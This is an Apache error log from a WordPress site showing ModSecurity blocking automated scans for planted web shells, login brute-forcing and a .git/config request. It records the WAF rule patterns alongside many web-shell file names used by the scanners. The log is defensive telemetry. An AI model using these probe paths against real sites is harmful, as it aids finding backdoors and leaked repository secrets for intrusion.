[Sun Nov 23 02:15:34.602219 2025] [:error] [pid 39713:tid 39724] [client 91.217.249.206:27835] [client 91.217.249.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aSH9xkUgrb325CIAjPqsigAAAAM"]
[Sun Nov 23 02:15:37.183370 2025] [:error] [pid 39713:tid 39729] [client 91.217.249.192:25385] [client 91.217.249.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSH9yUUgrb325CIAjPqskQAAAAg"]
[Sun Nov 23 02:15:42.558521 2025] [:error] [pid 39718:tid 39756] [client 91.217.249.222:56883] [client 91.217.249.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.222, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aSH9zgQ3B_uDoeItNmN5_wAAAEc"]
[Sun Nov 23 02:15:44.176474 2025] [:error] [pid 39718:tid 39763] [client 91.217.249.222:56883] [client 91.217.249.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aSH90AQ3B_uDoeItNmN6AgAAAE4"]
[Sun Nov 23 02:15:45.400146 2025] [:error] [pid 8816:tid 8904] [client 91.217.249.189:57303] [client 91.217.249.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSH90Zb4RIAN-_BXnHl4hgAAAJM"]
[Sun Nov 23 02:16:01.438024 2025] [:error] [pid 39713:tid 39738] [client 91.217.249.184:56447] [client 91.217.249.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSH94UUgrb325CIAjPqstQAAABE"]
[Sun Nov 23 02:16:05.490274 2025] [:error] [pid 39718:tid 39762] [client 91.217.249.223:34761] [client 91.217.249.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSH95QQ3B_uDoeItNmN6HAAAAE0"]
[Sun Nov 23 02:16:07.161161 2025] [:error] [pid 39718:tid 39771] [client 45.86.202.206:59013] [client 45.86.202.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aSH95wQ3B_uDoeItNmN6IAAAAFY"]
[Sun Nov 23 02:16:09.071204 2025] [:error] [pid 8816:tid 8886] [client 91.217.249.207:36103] [client 91.217.249.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aSH96Zb4RIAN-_BXnHl4sQAAAII"]
[Sun Nov 23 02:16:11.199444 2025] [:error] [pid 8816:tid 8903] [client 91.217.249.223:22285] [client 91.217.249.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSH965b4RIAN-_BXnHl4swAAAJI"]
[Sun Nov 23 02:16:17.832123 2025] [:error] [pid 39718:tid 39749] [client 91.217.249.203:38679] [client 91.217.249.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSH98QQ3B_uDoeItNmN6LwAAAEA"]
[Sun Nov 23 02:16:21.829917 2025] [:error] [pid 39942:tid 40017] [client 91.217.249.201:50487] [client 91.217.249.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSH99aNupsOsQf9D2gxxCgAAAVY"]
[Sun Nov 23 02:16:24.059849 2025] [:error] [pid 39942:tid 40009] [client 91.217.249.206:23855] [client 91.217.249.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSH9-KNupsOsQf9D2gxxFgAAAU4"]
[Sun Nov 23 02:16:26.039608 2025] [:error] [pid 39719:tid 39800] [client 91.217.249.212:39191] [client 91.217.249.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aSH9-hmP4k0tY5Yex-XZ2wAAARg"]
[Sun Nov 23 02:16:29.298939 2025] [:error] [pid 39718:tid 39768] [client 91.217.249.211:56477] [client 91.217.249.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSH9_QQ3B_uDoeItNmN6dQAAAFM"]
[Sun Nov 23 02:16:30.745808 2025] [:error] [pid 39942:tid 40018] [client 91.217.249.189:30281] [client 91.217.249.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aSH9_qNupsOsQf9D2gxxJQAAAVc"]
[Sun Nov 23 02:16:33.292786 2025] [:error] [pid 8816:tid 8903] [client 91.217.249.225:28759] [client 91.217.249.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSH-AZb4RIAN-_BXnHl4yQAAAJI"]
[Sun Nov 23 02:16:38.359448 2025] [:error] [pid 39942:tid 39998] [client 91.217.249.207:28797] [client 91.217.249.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.207, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aSH-BqNupsOsQf9D2gxxMAAAAUM"]
[Sun Nov 23 02:16:39.481194 2025] [:error] [pid 39942:tid 40007] [client 91.217.249.207:28797] [client 91.217.249.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aSH-B6NupsOsQf9D2gxxNAAAAUw"]
[Sun Nov 23 02:16:42.293979 2025] [:error] [pid 39718:tid 39771] [client 91.217.249.223:46447] [client 91.217.249.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSH-CgQ3B_uDoeItNmN6fQAAAFY"]
[Sun Nov 23 02:16:49.763357 2025] [:error] [pid 39942:tid 40018] [client 45.86.202.208:55283] [client 45.86.202.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.208, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aSH-EaNupsOsQf9D2gxxSwAAAVc"]
[Sun Nov 23 02:16:51.794318 2025] [:error] [pid 39942:tid 40002] [client 45.86.202.208:55283] [client 45.86.202.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSH-E6NupsOsQf9D2gxxTwAAAUc"]
[Sun Nov 23 02:16:54.578090 2025] [:error] [pid 39942:tid 39995] [client 91.217.249.212:52901] [client 91.217.249.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aSH-FqNupsOsQf9D2gxxUgAAAUE"]
[Sun Nov 23 02:16:57.302617 2025] [:error] [pid 39718:tid 39767] [client 91.217.249.219:32537] [client 91.217.249.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSH-GQQ3B_uDoeItNmN6mgAAAFI"]
[Sun Nov 23 02:17:05.242778 2025] [:error] [pid 8816:tid 8888] [client 91.217.249.182:64075] [client 91.217.249.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aSH-IZb4RIAN-_BXnHl48QAAAIQ"]
[Sun Nov 23 02:17:15.292633 2025] [:error] [pid 39942:tid 40013] [client 91.217.249.203:50345] [client 91.217.249.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSH-K6NupsOsQf9D2gxxdAAAAVI"]
[Sun Nov 23 02:17:25.891472 2025] [:error] [pid 39713:tid 39742] [client 91.217.249.194:52781] [client 91.217.249.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSH-NUUgrb325CIAjPqtIAAAABU"]
[Sun Nov 23 02:17:37.931622 2025] [:error] [pid 39718:tid 39772] [client 45.86.202.227:45665] [client 45.86.202.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSH-QQQ3B_uDoeItNmN6ygAAAFc"]
[Sun Nov 23 02:17:56.539874 2025] [autoindex:error] [pid 39719:tid 39782] [client 91.217.249.185:28945] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 03:39:06.242565 2025] [:error] [pid 39713:tid 39740] [client 85.8.130.43:37185] [client 85.8.130.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.43, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSIRWkUgrb325CIAjPrG5AAAABM"]
[Sun Nov 23 04:30:54.439329 2025] [:error] [pid 44652:tid 44727] [client 43.152.72.247:59152] [client 43.152.72.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSIdftiQFwsyXQDhwyCsGgAAARU"]
[Sun Nov 23 04:32:43.067349 2025] [:error] [pid 38824:tid 38831] [client 216.126.225.91:35194] [client 216.126.225.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSId608WZjXLvbHTHPezBwAAAMQ"]
[Sun Nov 23 08:30:11.826223 2025] [:error] [pid 38740:tid 38800] [client 40.86.75.156:2758] [client 40.86.75.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aSJVkw13QPZSi6O8umXUcwAAAIQ"]
[Sun Nov 23 08:30:14.011393 2025] [:error] [pid 38740:tid 38817] [client 40.86.75.156:3956] [client 40.86.75.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aSJVlg13QPZSi6O8umXUdgAAAJU"]
[Sun Nov 23 08:30:16.382679 2025] [:error] [pid 38824:tid 38838] [client 40.86.75.156:3948] [client 40.86.75.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aSJVmE8WZjXLvbHTHPcDmAAAAMs"]
[Sun Nov 23 08:30:18.384844 2025] [:error] [pid 38740:tid 38802] [client 40.86.75.156:1694] [client 40.86.75.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aSJVmg13QPZSi6O8umXUeQAAAIY"]
[Sun Nov 23 08:34:51.273633 2025] [:error] [pid 38738:tid 38746] [client 141.11.36.82:48553] [client 141.11.36.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSJWqwytc6TL9XavPmMRTQAAAAQ"]
[Sun Nov 23 08:34:54.608681 2025] [:error] [pid 38738:tid 38765] [client 141.11.36.76:25637] [client 141.11.36.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSJWrgytc6TL9XavPmMRUQAAABc"]
[Sun Nov 23 08:34:58.591826 2025] [:error] [pid 38739:tid 38784] [client 141.11.36.100:64881] [client 141.11.36.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSJWsgdvEgJm2n2cDmpY_AAAAE8"]
[Sun Nov 23 08:35:03.211033 2025] [:error] [pid 38824:tid 38838] [client 141.11.36.74:24859] [client 141.11.36.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aSJWt08WZjXLvbHTHPcEpgAAAMs"]
[Sun Nov 23 08:35:04.130812 2025] [:error] [pid 44652:tid 44710] [client 141.11.36.70:60141] [client 141.11.36.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aSJWuNiQFwsyXQDhwyAGDwAAAQQ"]
[Sun Nov 23 08:35:07.855783 2025] [:error] [pid 38738:tid 38744] [client 141.11.36.55:38069] [client 141.11.36.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aSJWuwytc6TL9XavPmMRWwAAAAI"]
[Sun Nov 23 08:35:09.216986 2025] [:error] [pid 38738:tid 38762] [client 141.11.36.87:26319] [client 141.11.36.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSJWvQytc6TL9XavPmMRYAAAABQ"]
[Sun Nov 23 08:35:11.748787 2025] [:error] [pid 38739:tid 38779] [client 141.11.36.83:56231] [client 141.11.36.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSJWvwdvEgJm2n2cDmpZEgAAAEo"]
[Sun Nov 23 08:35:18.610145 2025] [:error] [pid 38739:tid 38792] [client 141.11.36.81:34473] [client 141.11.36.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSJWxgdvEgJm2n2cDmpZJwAAAFc"]
[Sun Nov 23 08:35:20.479780 2025] [:error] [pid 38738:tid 38754] [client 141.11.36.60:33713] [client 141.11.36.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSJWyAytc6TL9XavPmMRcAAAAAw"]
[Sun Nov 23 08:35:43.841368 2025] [:error] [pid 38740:tid 38813] [client 141.11.36.72:38037] [client 141.11.36.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.72, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSJW3w13QPZSi6O8umXVxgAAAJE"]
[Sun Nov 23 08:35:46.203457 2025] [:error] [pid 38740:tid 38815] [client 141.11.36.72:38037] [client 141.11.36.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aSJW4g13QPZSi6O8umXVzgAAAJM"]
[Sun Nov 23 08:35:54.377697 2025] [:error] [pid 38739:tid 38791] [client 141.11.36.68:20375] [client 141.11.36.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aSJW6gdvEgJm2n2cDmpZcQAAAFY"]
[Sun Nov 23 08:36:14.682204 2025] [:error] [pid 44652:tid 44730] [client 141.11.36.105:47267] [client 141.11.36.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aSJW_tiQFwsyXQDhwyAGjAAAARg"]
[Sun Nov 23 08:36:43.032240 2025] [:error] [pid 38824:tid 38843] [client 141.11.36.90:43023] [client 141.11.36.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aSJXG08WZjXLvbHTHPcFXQAAANA"]
[Sun Nov 23 08:37:06.055671 2025] [:error] [pid 44652:tid 44726] [client 141.11.36.83:34513] [client 141.11.36.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSJXMtiQFwsyXQDhwyAHHQAAARQ"]
